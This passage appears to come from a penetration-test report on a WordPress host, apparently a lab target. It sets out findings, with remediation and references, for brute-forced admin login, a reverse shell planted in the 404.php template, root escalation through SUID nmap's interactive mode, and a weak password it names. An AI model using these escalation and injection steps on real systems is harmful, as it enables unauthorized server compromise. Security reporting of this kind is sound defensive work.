**Impact:** Unauthorized administrative access to WordPress. Enables website modification, malicious code injection, and deployment of reverse shells. Creates platform for complete server compromise and lateral movement.

**Remediation:** Implement rate limiting and account lockout after failed attempts. Use generic error messages that don't reveal username validity. Enforce strong password policies (12+ characters with complexity requirements). Deploy two-factor authentication (2FA). Add CAPTCHA after multiple failed attempts. Use WordPress security plugins like Wordfence or iThemes Security.

- OWASP Authentication Cheat Sheet

Sheet: [https://cheatsheetseries.owasp.org/cheatsheets/Authentication\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)

- CWE-307: Improper Restriction of Excessive Authentication Attempts

Attempts: <https://cwe.mitre.org/data/definitions/307.html>



## WordPress Template Code Injection

**Rating:** Critical

**Description:** WordPress allowed authenticated administrators to edit PHP theme templates without code validation. The 404.php template was modified to inject a reverse shell payload that executed with web server privileges.

**Impact:** Remote code execution on web server. Enables reverse shell establishment, complete application compromise, data exfiltration, and lateral movement to connected systems.

**Remediation:** Disable file editing by adding define('DISALLOW\_FILE\_EDIT', true); to wp-config.php. Implement Web Application Firewall (WAF) to detect code injection patterns. Use file integrity monitoring (FIM) for unauthorized modifications. Restrict PHP execution in upload directories. Keep WordPress core, themes, and plugins updated

- 
- OWASP Code Injection: [https://owasp.org/www-community/attacks/Code\\_Injection](https://owasp.org/www-community/attacks/Code_Injection)
  - CWE-94: Improper Control of Generation of Code: <https://cwe.mitre.org/data/definitions/94.html>

## SUID Binary Privilege Escalation (nmap)

**Rating:** Critical

**Description:** Legacy nmap version 3.81 installed with SUID root permissions. The --interactive mode allowed arbitrary command execution via the ! operator, inheriting SUID privileges for direct escalation to root.

**Impact:** Direct privilege escalation from daemon user to root. Complete system compromise with unrestricted access to files, processes, and credentials. Enables backdoor installation, rootkit deployment, and lateral movement using discovered credentials.

**Remediation:** Remove SUID bit using chmod u-s /usr/local/bin/nmap. Update to modern nmap version (7.x+) without interactive mode. Audit all SUID/SGID binaries using find / -perm -4000 -type f. Implement SELinux or AppArmor mandatory access controls. Monitor for privilege escalation attempts.

- 
- GTFOBins - nmap: <https://gtfobins.github.io/gtfobins/nmap/>
  - CWE-250: Execution with Unnecessary Privileges: <https://cwe.mitre.org/data/definitions/250.html>



## Weak Password Policy

**Rating:** High

**Description:** WordPress account used weak password (ER28-0652) found in the dictionary file, lacking complexity requirements and password strength validation. The password was vulnerable to dictionary-based brute force attacks.

**Impact:** Successful credential compromise through brute force. Unauthorized administrative access enabling further exploitation. Potential credential reuse attacks across multiple systems. Regulatory compliance violations.

**Remediation:** Enforce strong password policies requiring 12+ characters with mixed case, numbers, and symbols. Prohibit common passwords and dictionary words. Implement password blacklists and strength checking. Mandate regular password rotation for privileged accounts. Deploy multi-factor authentication (MFA).

- 
- OWASP Password Storage Cheat

Sheet:[https://cheatsheetseries.owasp.org/cheatsheets/Password\\_Storage\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)

- CWE-521: Weak Password Requirements: <https://cwe.mitre.org/data/definitions/521.html>



## Appendix B: About the Team